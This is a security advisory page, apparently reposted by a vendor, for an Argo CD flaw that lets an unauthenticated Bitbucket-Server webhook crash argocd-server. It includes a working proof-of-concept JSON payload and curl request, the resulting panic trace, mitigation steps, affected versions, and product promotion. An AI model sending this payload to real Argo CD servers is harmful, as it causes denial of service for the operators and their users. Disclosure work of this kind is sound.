GHSA-f9gq-prrc-hrhc
HIGHUnauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/argoproj/argo-cd🐹github.com/argoproj/argo-cd/v2🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3🐹github.com/argoproj/argo-cd/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.
With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.
A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.
Details
// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)
for _, l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast
link := l.(map[string]any)
...
}
If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}
The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.
PoC
Save as payload-panic.json - note the non-array links.clone.
{
"eventKey": "repo:refs_changed",
"repository": {
"name": "guestbook",
"fullName": "APP/guestbook",
"links": { "clone": "boom" }
},
"changes": [ { "ref": { "id": "refs/heads/master" } } ]
}
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Event-Key: repo:refs_changed' \
-H 'Content-Type: application/json' \
--data-binary @payload-panic.json
Observed crash (argocd-server restart):
panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
webhook.go:209 +0x1218
...
Mitigation
If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.bitbucketserver.secret: <your base64-encoded secret here>
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-cd | ≥ 1.2.0 | No fix |
| 🐹Go | github.com/argoproj/argo-cd/v2 | ≥ 2.0.0-rc1&&< 2.14.20 | 2.14.20 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.2.0-rc1&&< 3.2.0-rc2 | 3.2.0-rc2 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.1.0-rc1&&< 3.1.8 | 3.1.8 |
| 🐹Go | github.com/argoproj/argo-cd/v3 | ≥ 3.0.0-rc1&&< 3.0.19 | 3.0.19 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-cd. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
No patched version of github.com/argoproj/argo-cd has shipped for GHSA-f9gq-prrc-hrhc yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f9gq-prrc-hrhc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f9gq-prrc-hrhc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f9gq-prrc-hrhc in your dependencies?
O3 detects GHSA-f9gq-prrc-hrhc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.